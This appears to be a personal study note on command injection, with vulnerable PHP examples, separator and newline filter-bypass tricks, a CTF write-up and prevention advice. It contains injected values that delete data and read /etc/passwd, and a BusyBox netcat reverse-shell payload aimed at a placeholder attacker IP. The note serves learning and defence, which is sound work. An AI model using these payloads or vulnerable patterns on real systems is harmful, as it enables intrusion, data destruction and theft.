Command Injection
Table of Contents
Related: Dead Drop
Command Injection
Command injection is a severe cybersecurity vulnerability that allows an attacker to execute arbitrary commands on the host operating system through a vulnerable application. This occurs when an application incorporates unsafe user-supplied data directly into system-level commands without proper validation or sanitization.
Explanation
At its core, command injection exploits the trust an application places in user input. When an application is designed to interact with the operating system (OS) using functions like system() or exec() in programming languages, and it uses user-provided data as part of the command, a vulnerability can arise. Attackers can then inject special characters (such as semicolons ;, ampersands &, or pipes | in Linux/Unix, or & in Windows) that the operating system shell interprets as separators or command combiners. This allows the attacker to append and execute their own commands alongside the application's intended command.
The malicious commands are typically executed with the same privileges as the vulnerable application. This can lead to a range of severe consequences, including:
- Complete system compromise: Gaining full control over the web server's host operating system.
- Data exfiltration: Accessing and stealing sensitive data.
- Privilege escalation: Obtaining higher-level access on the system.
- File manipulation: Deleting, modifying, or uploading files.
- Installation of malware: Deploying backdoors or other malicious software.
Command Injection vs. Code Injection
While often confused, command injection differs from code injection. The key distinction lies in the execution context and the type of payload:
- Command Injection: Executes in the context of the underlying operating system's shell programs (e.g., bash) by injecting into a call to an external program. The attacker extends the application's existing functionality that executes system commands.
- Code Injection: Involves injecting malicious code (e.g., SQL, JavaScript, PHP) that is interpreted or executed by the application itself within its own programming language environment. Its scope is usually confined to the application's execution environment.
Examples of Command Injection
Here are several illustrative examples of how command injection can occur:
- File Name as Command Argument: Consider a web application that allows users to view the contents of a file. If the application uses user input directly in a command like
cat(for Linux) ortype(for Windows), an attacker can manipulate the input.Vulnerable PHP code snippet:
<?php print("Please specify the name of the file to delete"); print("<p>"); $file=$_GET['filename']; system("rm $file"); // 'rm' is a command to delete files ?>
In this example, if a user provides
image.jpg; rm -rf /important-dataas the filename, the application would attempt to deleteimage.jpgand then, due to the semicolon, also executerm -rf /important-data, potentially wiping out critical data.
- Network Reachability Check (Ping Utility): An application designed to monitor network systems might use the
pingcommand with a user-supplied IP address.Vulnerable PHP code snippet:
<?php $ip_address = $_GET["ip_address"]; $not_used = array(); $return_code = 0; exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code); ?>
If an attacker provides
localhost; cat /etc/passwdas theip_address, the application would executeping -W 2 -c 1 localhostand then, after the semicolon,cat /etc/passwd, displaying the contents of the password file. Attackers can also use "blind" command injection techniques, such as injecting& sleep 10to cause a delay, inferring successful execution by observing the response time.
- Manipulating Environment Variables: Some applications rely on environment variables to determine paths or execute scripts. An attacker might be able to modify these variables to point to malicious versions of scripts or binaries.
- Example with
$APPHOME: If an application determines its installation directory using$APPHOMEand runs an initialization script from there, an attacker could change$APPHOMEto a path containing a malicious version of that script, causing the application to execute the malicious code with its privileges. - Example with
$PATH: If an application executes a command (e.g.,make) without specifying its absolute path, and an attacker can modify the$PATHenvironment variable, they could make the system execute a maliciousmakebinary located in a directory they control. If the original program runs with root privileges, the malicious binary would also run with root privileges.
- Example with
Command Separator Techniques and Filter Bypasses
Applications that attempt to defend against command injection often do so by blacklisting obvious separator characters. This defence is frequently incomplete, since shells recognise multiple ways to separate or chain commands beyond the "textbook" ones.
Standard separators (commonly filtered)
;— sequential execution&&— execute second command only if first succeeds||— execute second command only if first fails|— pipe output of first command into second&— run first command in background, then execute second
Frequently missed separators (bypass candidates)
- Newline (
\n/%0aURL-encoded) — shells treat a newline as a command terminator just like;. Filters that block;,&&, and|but validate input as a single-line string often miss this entirely, especially when the payload is delivered through a proxy (e.g. Burp Repeater) where a literal newline can be inserted directly into the request body/parameter rather than typed as text. - Backticks (
`cmd`) and$(cmd)— command substitution rather than a separator; executes and inlines output even when classic separator characters are stripped. - Newline via URL encoding (
%0aor%0d%0a) — necessary when injecting through a URL parameter rather than a raw request body, since a literal newline in a GET request will typically be URL-encoded by the client/browser first.
Practical implication: when a target filters or strips the obvious separators, always test newline injection before concluding the parameter is not exploitable. This is a low-effort, high-value check that is easy to skip if testing is limited to the "standard" operator list.
Exploitation in Practice
Case: Health check / ping utility endpoint (see Dead Drop CTF)
A network health-check feature exposing a ping wrapper (see example 2 above) was found to filter standard separators (;, &&, |) but not raw newlines. Separating the legitimate ping argument from the injected command with a newline (inserted directly via Burp Suite rather than typed inline) achieved command execution where semicolon-based payloads were blocked.
Once execution was confirmed, a pre-installed BusyBox netcat binary on the target was used to establish a reverse shell back to the attack machine:
# attack machine — listener nc -lvnp <PORT> # injected payload (conceptual — newline separates ping arg from injected command) <ping_target> busybox nc <ATTACKER_IP> <PORT> -e /bin/sh
Using an already-present utility (BusyBox) rather than dropping a new binary is a useful technique on stripped-down or embedded Linux targets where standard tools may be absent and file upload/write access is limited or monitored. See [[Denote query for ‘20260709T000001’]] (Dead Drop CTF) for the full attack chain this was part of.
Prevention
The primary defense against command injection is rigorous input validation and sanitization. This includes:
- Never trust user input: Treat all user-supplied data as potentially malicious.
- Whitelisting: Allow only known-good characters, patterns, or values.
- Escaping: Properly escape any special characters in user input before passing it to system commands.
- Avoiding direct calls to OS functions: If possible, use safer alternatives provided by programming languages that do not directly invoke a system shell.
- Principle of Least Privilege: Run applications with the minimum necessary privileges to limit the impact of a successful attack.
Classification: Command Injection Severity: Critical — typically leads to full remote code execution and system compromise